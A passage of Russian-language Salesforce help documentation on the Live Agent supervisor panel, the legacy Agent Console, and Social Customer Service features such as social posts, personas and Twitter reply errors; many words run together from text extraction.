и Unlimited Edition.

Панель администратора Live Agent — это универсальная область, предназначенная для
поиска информации о кнопках и агентах чатов соответствующего отдела. Панель
администраторапозволяетотслеживать действия агентов вчатахпомереобслуживания
клиентовипросматриватьпотокклиентовдляотдельныхкнопокчатаврежимереального
времени. Панель администраторарасполагаетсяна консоли Salesforce, поэтомудоступна
без переключения приложения.

Доступ к панели администратора
Консоль Salesforce предоставляет удобный доступ к панели администратора,
предназначенной для отслеживания действий агентов в чатах.

Список «Статус агента»
Список «Статус агента» на панели администратора предоставляет доступ к
оперативной информации о действиях агентов в чатах.

Список «Статус очереди»

Список «Статус очереди» на панели администратора предоставляет доступ к
оперативной информации о кнопках и очередях чатов организации.

Отслеживание чатов агентов
Панель администратора позволяет просматривать чаты во время общения агентов с клиентами. Администраторы
могут отслеживать производительность агентов и передавать им оперативные отзывы в процессе обслуживания
клиентов.
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Доступ к панели администратора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования панели
администратора Live Agent
на консоли Salesforce:
• Доступ ко вкладке

администратора Live
Agent в профиле
пользователя или
наборе полномочий,
добавленный в
приложение консоли
Salesforce.

Консоль Salesforce предоставляет удобный доступ к панели администратора,
предназначенной для отслеживания действий агентов в чатах.

1. Чтобы открыть панель администратора на консоли Salesforce, выберите
«Администратор Live Agent» в списке навигации консоли.
Панельадминистратораотображаетсявосновномокнеконсоли, предоставляядоступ
к актуальным данным о кнопках чата и агентах организации.
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Список «Статус агента»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Список «Статус агента» напанели администраторапредоставляет доступ коперативной
информации о действиях агентов в чатах.

ОписаниеСведения об
агенте

Имя агента.Имя агента

Прим.: Еслирядомсименемотображается красныйфлажок,
агент запросил помощи. Ответьте через модуль сведений о
чате (далеко справа).

Состояние агента Live Agent.Статус

Действия, доступные для изменения состояния агента.Действие

Количество чатов, участником которых является агент.Количество
выполняемых
чатов

Количество отложенных запросов на чат, назначенных агенту.Количество
назначенных
запросов

Время нахождения агента в приложении Live Agent.Затраченное
время после
входа

Время, прошедшеепослепоследнегопринятия агентомзапросана
чат.

Затраченное
время после
последнего
принятия

Личное сообщение, отправленное агентом с флажком помощи.Сообщение
администратору
(необязательно)

Чтобы просмотреть сведения о соответствующих клиентах, разверните имя каждого агента.

ОписаниеСведения о клиенте

Имя клиента (при его наличии).Имя посетителя

IP-адрес устройства клиента.IP-адрес

Сеть клиента (при ее наличии).Сеть

Тип обозревателя, используемого клиентом для подключения к окну чата.Обозреватель

Город проживания клиента.Город

Страна проживания клиента.Страна
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ОписаниеСведения о клиенте

Время участия клиента в чате с агентом.Продолжительность

Действия, доступные для просмотра чата клиента с агентом.Действие

СМ. ТАКЖЕ:

Статусы Live Agent

Список «Статус очереди»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Список «Статусочереди» напанелиадминистраторапредоставляетдоступкоперативной
информации о кнопках и очередях чатов организации.

ОписаниеСведения об
очереди

Имя кнопки чата.Имя кнопки

Уникальный код Salesforce, назначаемый кнопке чата.Код

Количество чатов, ожидающих назначения агенту.Длина очереди

Наибольшее время ожидания подключения клиента к агенту чата.Наибольшее
времяожидания
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Отслеживание чатов агентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования панели
администратора Live Agent
на консоли Salesforce:
• Доступ ко вкладке

администратора Live
Agent в профиле
пользователя или
наборе полномочий,
добавленный в
приложение консоли
Salesforce.

Для просмотра чатов
агентов:
• «Предварительный

просмотр агентов
включен» в
конфигурации Live
Agent

Для отправки приватных
сообщений агентам:
• «Приватные сообщения

включены» в
конфигурации Live
Agent

Панель администратора позволяет просматривать чаты во время общения агентов с
клиентами. Администраторымогутотслеживатьпроизводительностьагентовипередавать
им оперативные отзывы в процессе обслуживания клиентов.

1. Чтобыразвернуть сведенияонужномагенте, щелкнитепо значку в списке «Статус
агента». Если агент запросил помощь, вы увидите красныйфлажок рядом с именем
и личное сообщение (далеко справа), если агент его отправил.

2. Чтобы просмотреть чат, щелкните ссылку «Просмотр» напротив нужного чата в
столбце «Действие».

Данное действие открывает окно мониторинга чата в списке «Статус агента».

3. Чтобыотправитьличноесообщениеагентувовремяегообщениясклиентом, введите
сообщение в соответствующее поле и нажмите клавишу Enter.

Агентможет видеть вашесообщениевжурналечата, ноклиентсообщениене увидит.

Чтобы свернуть окно мониторинга чата, повторнощелкните по значку .

Чтобыубратьфлажок, когдавыужеоказалипомощь, нажмитекнопку«Убратьфлажок».

СМ. ТАКЖЕ:

Список «Статус агента»

2613

Использование консоли SalesforceПоддержка клиентов



Назначение навыков агентам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации с выпусками
Performance Edition и
Developer Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления навыков:
• «Назначить навыки Live

Agent пользователям»

Вы можете назначать навыки своим агентам по мере того, как растет профессионализм
вашей команды.

1. Введите строку «Навыки» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Навыки».

2. Щелкните по имени нужного пользователя.

3. Нажмите кнопку «Правка».

4. Выберителибопрофили (рекомендуется), либоотдельныхпользователей, у которых
есть этот навык.

5. Нажмите кнопку «Сохранить».

Если у вас нет доступа к странице «Навыки», обратитесь к своему администратору
Salesforce напредметпредоставления этогоразрешения. Создаватьнавыкиможет только
ваш администратор.
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Составление отчетов по сеансам Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Отчеты по сеансам чата Live Agent позволяют получить более подробные сведения о
действиях агентов в чатах.

Конструктор отчетов позволят создавать тип настраиваемых отчетов для сеансов чата
Live Agentииспользовать егодля составленияотчетовпосеансамагентов. Данныеотчеты
посеансам Live Agentпозволяютполучитьболееподробныесведенияодействияхагентов
в чатах (например, способность рабочей группы агентов обрабатывать все запросы на
чат, поступающие от клиентов).

1. Чтобы создать тип настраиваемых отчетов, выберите объект «Сеансы Live Agent» в
качестве основного.

2. Чтобы создать отчет Live Agent, воспользуйтесь конструктором отчетов.

3. Чтобы настроить отчет, добавьте столбцы нужных данных.

4. Сохраните или запустите отчет.

СМ. ТАКЖЕ:

Создание отчета

Создание отчета

Записи сеансов Live Agent
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Вкладка «Консоль»

Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Консоль Agent Console на вкладке «Консоль» позволяет ускорить процесс поиска
связанных данных путем сокращения количества переходов между страницами.

Прим.:  As of the Spring ’15 release, Agent console is not available to new organizations.

The newer Salesforce console improves the Agent console by providing you with more options
and more advanced technologies. См. раздел «Консоль Salesforce».

КонсольAgent Consoleпозволяет отображать сведения, являющиесянаиболее важными
согласно текущим бизнес-требованиям. Прежде чем настроить консоль Agent Console
или начать работу, просмотрите специальную терминологию.

СМ. ТАКЖЕ:

Консоль Agent Console. Вопросы и ответы

Отображение консоли Agent Console

Навигация по консоли Agent Console

Понятия консоли Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены термины, используемые для описания компонентов консоли Agent
Console.

Рамки
Отдельные разделы консоли, отображающие разные записи, списковые
представления или другие страницы.

Списковое представление
Верхняярамка вкладки «Консоль», отображающаясписковоепредставление записей
наосновезаданныхкритериев. Списковыепредставления, доступныедляотображения
на вкладке «Консоль», соответствуют списковым представлениям, заданным на
вкладкахдругихобъектов. Консольнеподдерживаетвозможностьсозданиясписковых
представлений.

Подробное представление
Центральнаярамка консолиAgent Console, отображающаяподробноепредставление
любой записи, выбранной в других рамках консоли. Подробное представление
отображает макеты страниц, заданные для страниц сведений об объектах. Запись, отображаемая в подробном
представлении, выделяется в списковом представлении.

Мини-представление
Праваярамка консолиAgent Console, отображающаязаписи, связанныес записью, котораяотображается вподробном
представлении. Поля, отображаемыевмини-представлении, определяютсяадминистраторомвмакетахмини-страниц.
Мини-представление отображается только в том случае, если запись, отображаемая в подробном представлении,
связана с другими записями.
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Боковая панель
Левая рамка консоли Agent Console, отображающая недавние элементы, корзину и другие компоненты, подобно
боковойпанели, доступнойнавсехстраницахSalesforce. Чтобыпоказатьилискрытьбоковуюпанельконсоли, щелкните
границу левой рамки.

Связанные объекты
Объекты, выбранные администратором для отображения в мини-представлении консоли Agent Console, если записи
определенного типаотображаются вподробномпредставленииконсоли. Например, еслиподробноепредставление
отображает обращение, то мини-представление может отображать связанную организацию, контакт или актив.

Макеты мини-страницы
Набор элементов текущего макета страницы записи, выбранный администратором для отображения в
мини-представлении консоли Agent Console и во всплывающих сведениях. Макеты мини-страниц наследуют связи
между типами записей и профилями, связанные списки, поля и параметры доступа к полям из макета страницы.

Макет консоли

Объекты, выбранные администраторомдляотображенияврамке списковогопредставленияна консолиAgent Console.
Например, еслиадминистратордобавляетобращениявмакет консоли, топользователи, профиликоторыхназначены
данномумакетуконсоли, могутпросматриватьсписковыепредставленияобращенийврамкесписковогопредставления
консоли.

СМ. ТАКЖЕ:

Agent Console

Отображение консоли Agent Console

Навигация по консоли Agent Console

Полезные советы: использование консоли

Навигация по консоли Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Элемент, выбранный на консоли Agent Console, определяет рамку для отображения
записи.

Ниже перечислены элементы подробного представления.

• Кнопкиилиссылкидля записи: отображениезаписивподробномпредставлении.

• «Отправить эту страницу по эл. почте» ( ): отображение ссылки на запись в
сообщении эл. почты.

• «Ссылка на эту страницу» ( ): отображение записи и ее URL-адреса в новом
окне обозревателя.

• «Версия для печати» ( ): отображение печатной версии записи во
всплывающем окне.

• «Настроить страницу» ( ): настройка параметров отображения связанных
списков в подробном представлении записи.

• «Справка для этой страницы» ( ): отображение страницы интерактивной
справки для записи.

Ниже перечислены элементымини-представления.

• Ссылки: отображениезаписивподробномпредставлении. Связанныезаписиотображаютсявмини-представлении.
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• «Просмотр»: отображение всей записи в подробном представлении.

• «Правка»: отображение мини-страницы редактирования в мини-представлении.

Чтобы изменить поле, которое отсутствует в мини-странице редактирования, щелкните «Просмотр» для
отображения всей записи в подробном представлении, а затем щелкните «Правка».

• «Показатьбольше»подсвязаннымсписком: отображениебольшегоколичествазаписей, добавленныхвсвязанный
списокмини-представления. Прикаждомвыбореэлемента«Показатьбольше»отображается 5 дополнительных
записей, но не более 100.

Прим.: Мини-представление отображается только в том случае, если запись, отображаемая в подробном
представлении, связана с другими записями.

Ниже перечислены элементы спискового представления.

• Ссылка: отображение записи в подробном представлении.

• «Обновить»: перезагрузка спискового представления со всеми обновлениями, внесенными в запись с момента
начала просмотра списка.

• Заголовок столбца: сортировка записей по возрастанию. Чтобы отсортировать записи по убыванию, щелкните
заголовок нужного столбца второй раз.

• Буква внизу спискового представления: фильтрация записей спискового представления по букве.

• «меньше» или «больше» внизу спискового представления: отображение более короткого или длинного списка.

• «Предыдущая страница» или «Следующая страница» внизу спискового представления: отображение
предыдущей или следующей страницы элементов списка.

• Дополнительнуюинформациюсм. в разделе «Использование списковогопредставления консолиAgent Console».

Ниже перечислены элементы боковой панели.

• Границалевойрамки: открытиебоковойпанеликонсоли. Чтобыскрытьбоковуюпанель, щелкните границулевой
рамки второй раз.

• Запись в разделе «Недавние элементы»: отображение записи в подробном представлении.

• «Календарь»: отображение календаря в подробном представлении.

• «Корзина»: отображение корзины в подробном представлении.

СМ. ТАКЖЕ:

Консоль Agent Console. Вопросы и ответы

Agent Console

Понятия консоли Agent Console

Отображение консоли Agent Console

Использование спискового представления консоли Agent Console
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Отображение консоли Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

КонсольAgent Console доступна для использования после настройки администратором
(см. раздел «Настройка консоли Agent Console»).

Чтобы получить доступ к консоли Agent Console, откройте вкладку «Консоль». Чтобы
закрыть консоль, выберите любую другую вкладку.

Данныеотображаютсяна консолитолькоприналичиизаписейв выбранномсписковом
представлении.

Прим.: Консоль Agent Console доступна только в том случае, если профиль
пользователя назначен макету консоли, а самому пользователю предоставлен
доступко вкладке «Консоль». Чтобыдобавить вкладку «Консоль» внаборывкладок,
рекомендуем настроить параметры отображения.

СМ. ТАКЖЕ:

Консоль Agent Console. Вопросы и ответы

Agent Console

Навигация по консоли Agent Console

Использование спискового представления консоли Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

СписковоепредставлениеконсолиAgent Consoleпозволяетработать с системойSalesforce
без перехода в другие компоненты.

Отображение списковых представлений
Выберитеобъектизраскрывающегосяспискав верхнемлевомуглурамкиспискового
представления, а затем выберитенужное списковоепредставлениеобъекта. Консоль
не поддерживает возможность создания списковых представлений.

Чтобыперезагрузитьсписковоепредставлениесовсемиобновлениями, внесенными
в запись с момента начала просмотра списка, нажмите кнопку «Обновить». Кнопка
«Обновить» автоматически изменяет цвета обновленных записей.

Записи, редактируемые в подробном представлении, отображаются курсивом в
списковом представлении. Курсив обозначает измененные записи.

Поиск
Чтобывыполнитьрасширенныйпоискповсемдоступнымзаписям, введитеключевые
слова в поле поиска вверху спискового представления и нажмите кнопку «Начать».
Критериирасширенногопоискаобрабатываютсякакотдельныесловаимогутбытьнайденывразныхиндексированных
полях записи. Например, врезультатерасширенногопоискапокритериюИринаЗимаотображается контактпоимени
«ИринаВ. Зима», а также контактпоимени «ИринаИванова» с адресомэл. почты «ivanova@zima.ru». Результатыпоиска
отображаются в подробном представлении.

Создание записей
Чтобы создать запись, выберите любой объект в раскрывающемся списке «Создать». Страницы создания записей
отображаются в подробном представлении.

Просмотр недавних элементов
Чтобыпросмотретьлюбуюиз 10 последнихзаписей, воспользуйтесьраскрывающимсясписком «Недавниеэлементы».
Недавние элементы отображаются в подробном представлении.
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Выполнение пакетных действий
Чтобы выполнить действие над всеми выбранными записями, установите флажки напротив нужных элементов
спискового представления и выберите нужное действие в раскрывающемся списке «Пакетное действие».

При выполнении пакетного действия над 200 или более записями посредством обозревателя Internet Explorer
пользователь автоматически выходит из системы Salesforce.

Прим.: Данные отображаются на консоли только при наличии записей в выбранном списковом представлении.

СМ. ТАКЖЕ:

Agent Console

Понятия консоли Agent Console

Отображение консоли Agent Console

Навигация по консоли Agent Console

Консоль Agent Console. Вопросы и ответы

ВЕРСИИ

Консоль Agent доступна в
Salesforce Classic. Меню
«Настройка» консоли Agent
доступно в Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

• Чем отличается вкладка «Консоль» от других вкладок Salesforce?

• Как просмотреть консоль Agent Console?

• ПочемуконсольAgent Consoleотображаетсписковыепредставлениятольконекоторых
объектов?

• Можно ли просматривать несколько консолей Agent Console?

• Консоль Agent Console аналогична консоли Salesforce?

Чем отличается вкладка «Консоль» от других вкладок
Salesforce?
Вкладка «Консоль» аналогичнадругимвкладкам Salesforce, а такжепозволяетотображать
записи, доступные на разных вкладках Salesforce, на одном экране. Данное специальное
представление называется консолью Agent Console и позволяет одной вкладке
предоставлятьдоступковсемнужнымданнымSalesforce. КонсольAgent Consoleнавкладке
«Консоль» позволяет быстро находить, просматривать и редактировать нужные записи
(например, обращения, организации и контакты) посредством всего одного экрана.

СМ. ТАКЖЕ:

Консоль Agent Console. Вопросы и ответы

Как просмотреть консоль Agent Console?
Чтобы просмотреть консоль Agent Console, откройте вкладку «Консоль». Консоль Agent Console доступна только в том
случае, если профиль пользователя назначен макету консоли, а самому пользователю предоставлен доступ ко вкладке
«Консоль». Чтобы добавить вкладку «Консоль» в наборы вкладок, рекомендуем настроить параметры отображения.

СМ. ТАКЖЕ:

Консоль Agent Console. Вопросы и ответы
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Почему консоль Agent Console отображает списковые представления только
некоторых объектов?
Списковые представления объектов, доступные на консоли Agent Console, определяются администратором в макете
консоли, назначенном профилю пользователя.

СМ. ТАКЖЕ:

Консоль Agent Console. Вопросы и ответы

Можно ли просматривать несколько консолей Agent Console?
Нет. Система позволяет просматривать только одну консоль Agent Console. При необходимости администратор может
настроить разные макеты консоли Agent Console для отображения различных объектов в списковом представлении
консоли Agent Console и назначить данные макеты разным профилям в соответствии с текущими бизнес-требованиями
пользователей.

СМ. ТАКЖЕ:

Консоль Agent Console. Вопросы и ответы

Консоль Agent Console аналогична консоли Salesforce?
Нет. Консоль Salesforce расширяет функциональные возможности консоли Agent Console путем предоставления
пользователям дополнительных параметров и технологий.

СМ. ТАКЖЕ:

Консоль Agent Console. Вопросы и ответы
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Использование функции социального обслуживания клиентов

Советы по использованию социального действия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция социального
обслуживания клиентов
доступна в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки и получения
сообщений социальной
сети:
• «Социальные объекты»

И

«Социальный
публикатор»

И

Лента обращений
включена

И

Социальная организация

Агентможетиспользоватьсоциальноедействиедляобработкиинтересовилиобращений
клиентов посредством общедоступных ответов или прямых сообщений.

Послевключенияфункциисоциальногообслуживанияклиентовиназначениядвойных
указателей на социальные сети агенты могут использовать социальное действие для
отправки клиентам и интересам комментариев, повторных заметок, ответов и прямых
сообщений. Поля социального действия являются дополнительными. Тем не менее,
рекомендуем использовать перечисленные ниже поля.

ОписаниеПоле

Исходное сообщение социальной сети и
его содержимое. Чтобы добавить
содержимое в отдельный элемент ленты,
воспользуйтесь ссылками «Ответ»,
«Повторная заметка» и «Комментарий» в
ленте.

В ответ на

Доступ к управляемой социальной
организации должен быть предоставлен
профилем или набором полномочий.
Чтобы выбрать другую доступную
организацию, воспользуйтесь
раскрывающимся списком.

Управляемая социальная организация

По умолчанию типу сообщения задано
значение «Ответ» для входящих
сообщений. Чтобы выбрать другой
допустимый тип сообщения,
воспользуйтесьраскрывающимсясписком.

Тип сообщения

Все исходящее содержимое должно быть
уникальным и не может повторяться

Содержимое

внутри отдельного диалога. Все ответы
Twitter должны начинаться с двойного
указателя: @[двойной указатель на
социальную сеть].

Еслисообщениядоотправкитребуютутверждения, можнозапуститьпроцесспросмотраспомощьюкнопки«Отправить
на утверждение». Можно «Отозвать» сообщение до утверждения или отклонения. Если сообщение отклонено, вы
можете «Повторить» перезаписанное сообщение. Если ваше сообщение утверждено, оно публикуется автоматически.

Ниже перечислены некоторые советы по использованию социальных сетей.

• Приподдержкебыстроготекста агентымогут создавать готовыеответыдлясоциальныхсетей. См. разделы «Включение
быстрого текста» и «Создание сообщений "Быстрый текст"».
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• URL-адреса, добавленные в сообщение социальной сети, заменяются активными ссылками.

• Приудалениисообщенийубедитесь, чтопрямыесообщения Twitter действуютпотомужеалгоритму, чтоисообщения
электронной почты. Например, отправитель может удалить прямые сообщения с просмотра диалогов. Однако у
получателя будет отображаться это прямое сообщение в просмотре диалогов, пока тот не выберет его удаление.

• Что касается прямых сообщениях Twitter, Twitter снабжен параметром «Получать прямые сообщения от любых
пользователей». Таким образом, в зависимости от того, установлен ли данный параметр в вашей организации или в
организации получателя, вам не понадобиться отслеживать друг друга в прямом сообщении.

• Агентымогутиспользовать ссылку «Просмотристочника»дляоткрытияисходногосообщениявнутрисоциальной
сети.

• ПриложениеSalesforce1позволяет агентампросматриватьиотвечатьнасодержимоесоциальныхсетейнамобильных
устройствах.

• Вам нужно просто вручную изменить поле раскрывающегося списка «Статус» в сообщениях социальной сети, если
вы работаете с исходящими сообщениями. Применение конфигурации вашей организации включает поле «Статус»
в макете страниц со сведениями о записях входящих сообщений социальной сети, ручная настройка поля «Статус»
для входящих сообщений может привести к путанице элементов на ленте обращений. Например, если вы меняете
«Статус» входящегосообщенияна «Отправка», ссылка «Ответить» наэлементылентыобращенийнебудетотображаться,
пока статус не будет изменен обратно на «Нет».

При использовании организаций Twitter ленты обращений и интересов позволяют агентам просматривать исходное
содержимое, отправлять повторные заметки, помечать содержимое как избранное, отслеживать заметки, отправлять
ответы на заметки или прямые сообщения и удалять заметки, управляемые социальными организациями.

При использовании организаций Facebook обращения и интересы создаются посредством управляемой страницы
Facebook, а ленты позволяют агентам просматривать исходное содержимое (например, сообщения и комментарии),
отправлять сообщения, комментарии, ответы или личные сообщения и удалять сообщения, управляемые социальными
организациями.

Ниже перечислены советы по обработке некоторых возможных сообщений об ошибке.

ДействиеСообщение

Чтобыобратитьсякпользователю Twitter спросьбойначать
отслеживание управляемой социальной организации,

Прямое сообщение не может быть отправлено данному
пользователю Twitter ввиду отсутствия отслеживания.

воспользуйтесь ответом. Прямое сообщение может быть
отправлено только отслеживающему пользователю.

Текст может публиковаться только один раз. Измените
содержимое и повторите попытку.

Ошибка! Данное содержимое уже использовалось.
Измените сообщение и повторите попытку.

Сократите содержимое до 140 символов. Данное
ограничение учитывает двойные указателиответов Twitter.

Слишком длинное содержимое.

Ответ Twitter должен использовать поле содержимого
следующего формата: @[двойной указатель отправителя]
текст сообщения.

Убедитесь в наличии пробела между двойным указателем
отправителя и сообщением.

Ответы Twitter должны начинаться с двойного указателя.

Измените тип сообщения в соответствии с исходным
сообщением.

Тип ответного сообщения должен соответствовать типу
исходного сообщения.
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ДействиеСообщение

Администратордолженизменитьрегистрационныеданные
Social Studio на странице параметров «Социальные сети».

Неудалосьвыполнитьвходвслужбу Social Studio. Возможно,
имяпользователяилипароль содержитошибку. Обновите
регистрационные данные или сбросьте пароль.

Прим.: Копирование или обновление безопасной
организации администратором запускает создание
организации, использующей новый код, а также
аннулирование входа Social Studio.

Рекомендуем создать бизнес-правило для уведомления
ответственного за обращение о неудачной попытке
отправки ответа посредством Twitter.

Не удалось отправить сообщение.

СМ. ТАКЖЕ:

Общие сведения о функции социального обслуживания клиентов

Внедрение функции социального обслуживания клиентов
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Порядок повторного подключения социальной организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция социального
обслуживания клиентов
доступна в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для администрирования
функции социального
обслуживания клиентов:
• «Управление

пользователями»

И

«Настройка
приложения»

Для создания элементов
ленты обращений:
• Функция отслеживания

лент для всех связанных
объектов объекта
«Обращение»

Для отправки и получения
сообщений социальной
сети:
• Лента обращений

включена

И

Доступ к социальной
организации

При необходимости повторите подключение социальной организации для функции
социального обслуживания клиентов.

Социальнаяорганизацияможетбытьотключенаотфункциисоциальногообслуживания
клиентов при истечении срока действия подключения (или маркера) поставщика
социальной сети. Большинство поставщиков используют политики истечения срока
действия длительностью 60-90 дней.

1. From Setup, enter Social Media  in the Quick Find  box, then select Settings.

2. Щелкните «Повторная авторизация» в столбце «Действие» на вкладке
«Социальные организации».

Данное действие открывает выбранную социальную сеть и отображает запрос на
проверку подлинности организации. По завершении повторной проверки
подлинности организации пользователь возвращается на вкладку «Социальные
организации».
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Управление сообщениями социальной сети

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Социальные образы и
сообщения социальной сети
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Professional Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки и
развертывания службы
Social Studio в Salesforce:
• «Настройка

приложения»

Сообщение социальной сети — это объект Salesforce, соответствующий сообщению в
социальной сети (например, Facebook или Twitter).

Вкладкаилиобъект «Сообщениясоциальнойсети» — этонаборсведенийосообщении,
отправленном отдельным человеком или компанией в социальной сети (например,
Twitter или Facebook). Доступные сведения о сообщении определяются используемой
социальной сетью. Пользователи могут просматривать и управлять сообщениями
социальной сети.

Прим.: Для входящих сообщений установка значения раскрывающегося списка
«Статус» настраницесосведениямиосообщенияхсоциальнойсетинесоотносится
с сообщением, поскольку это поле относится только к исходящим сообщениям.

1. Откройте вкладку «Сообщения социальной сети».

2. При необходимости выберите представление.

По умолчанию отображается список недавно просмотренных. Воспользуйтесь
раскрывающимся списком «Просмотр» или создайте собственное представление
дляфильтрацииспискасообщений. Еслиорганизацияподдерживаетмодерирование,
выберите представление «Сообщения социальной сети без обращения» для
просмотра и создания обращения или пропуска сообщений. При необходимости
создайте собственное представление.

3. Щелкните имя нужного сообщения социальной сети. Чтобы создать сообщение,
нажмите кнопку «Создать сообщение социальной сети».

При необходимостищелкните ссылку «Правка» или «Удал.» для выбранного представления.

Прим.: Вкладка «Сообщения социальнойсети» позволяет создавать, редактироватьи удалять сообщения только
в организации Salesforce, но не в социальных сетях.

4. Дляуправлениясообщениямибезобращенийвыберитенужныесообщенияинажмитекнопку«Создатьобращение»
или «Пропустить».

Например, агент может пропустить сообщение «Я люблю вас ребята!» из социальной сети Facebook, так как оно не
требует создания обращения.

Дополнительную информацию о включении модерирования обращений на вкладке «Социальные организации»
посредствомменю «Настройка» при использованииначального пакета для социального обслуживания клиентов см.
вразделе «Настройкафункциисоциальногообслуживанияклиентов»настранице3150. Дополнительнуюинформацию
о включении модерирования посредством Social Studio см. в разделе «Включение модерирования для функции
социального обслуживания клиентов» на странице 3154.

5. Если напротив поля «Утверждения включены» установлен флажок, вкладка «Сообщения социальной сети» имеет
списковое представление «Отложенный запрос на утверждение сообщения социальной сети», что позволит
просматривать несколько отложенных сообщений или отклонять их при желании.

Прим.: Если утверждения активны, кнопки «Утвержденные» и «Отклоненные сообщения» остаются на вкладке
«Сообщения социальной сети». Однако они не действуют для входящих сообщений и сообщений, которые не
нужно утверждать.

Совет: Еслипользовательутверждаетсообщениеизспискаотложенныхнаутверждениесообщенийсоциальной
сети, а публикации сообщения в соответствующей социальной сети препятствует сбой системы, завершение
сеансаилидругаянепредвиденнаяпроблема, тосообщениеобошибкебудеттольковиндивидуальномобращении,
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но не в списковом представлении. Чтобы осуществить утверждение, у компании должно быть время для ответа
в социальных сетях. После утверждения сообщений из спискового представления рекомендуется проверить
статус сообщений, чтобы убедиться, что их отправка прошла успешно и нет нужды в их пересылке.

Ниже перечислены действия, доступные на странице сведений о сообщении социальной сети.

• Просмотр, редактирование и создание содержимого или сведений о сообщении.

Прим.: Доступные сведения определяются социальной сетью, являющейся источником образа.

Чтобы сохранить внесенные изменения или создать сообщение, нажмите кнопку «Сохранить».

• Создание обращения для сообщения или пропуск неважного сообщения при наличиифункции модерирования.

• Удаление сообщения из организации Salesforce.

Прим.: Сообщениясоциальнойсетинеудаляютсяприудаленииродительскойзаписи — какправило, обращения.
Подобным образом, если сообщение социальной сети связано с организацией, контактом или интересом
полиморфным полем «Кто», удаление любых из этих связанных записей не влияет на сообщение социальной
сети.

Вкладка «Сообщения социальной сети» не позволяет отвечать на сообщения социальной сети. Данная возможность
поддерживается только лентой обращений.

Управление социальными образами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Социальные образы и
сообщения социальной сети
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Professional Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

To install and deploy Social
Studio for Salesforce:
• «Настройка

приложения»

Социальный образ — это объект Salesforce, соответствующий профилю контакта в
социальной сети (например, Facebook, LinkedIn или Twitter).

Вкладка или объект «Социальные образы» — это набор общедоступных сведений о
человеке или компании, извлеченных из социальной сети (например, Twitter или
Facebook). Понятие «Образ» относится к социальным сетям, поэтому одному контакту
могут соответствовать несколько образов. Система Salesforce позволяет редактировать
и удалять образы, но не позволяет создавать социальные образы вручную. Образы
создаются на основе общедоступных сведений из социальных сетей. Пользователи
могут просматривать и управлять социальными образами.

Прим.: Максимальная длина полей социальных образов определяется
стандартными или настраиваемыми ограничениями Salesforce. Например, поле
личногоимениможет содержатьнеболее 40 символов. Болеедлинноеличноеимя
социального образа, созданного из входящего сообщения социальной сети,
усекается до 40 символов.

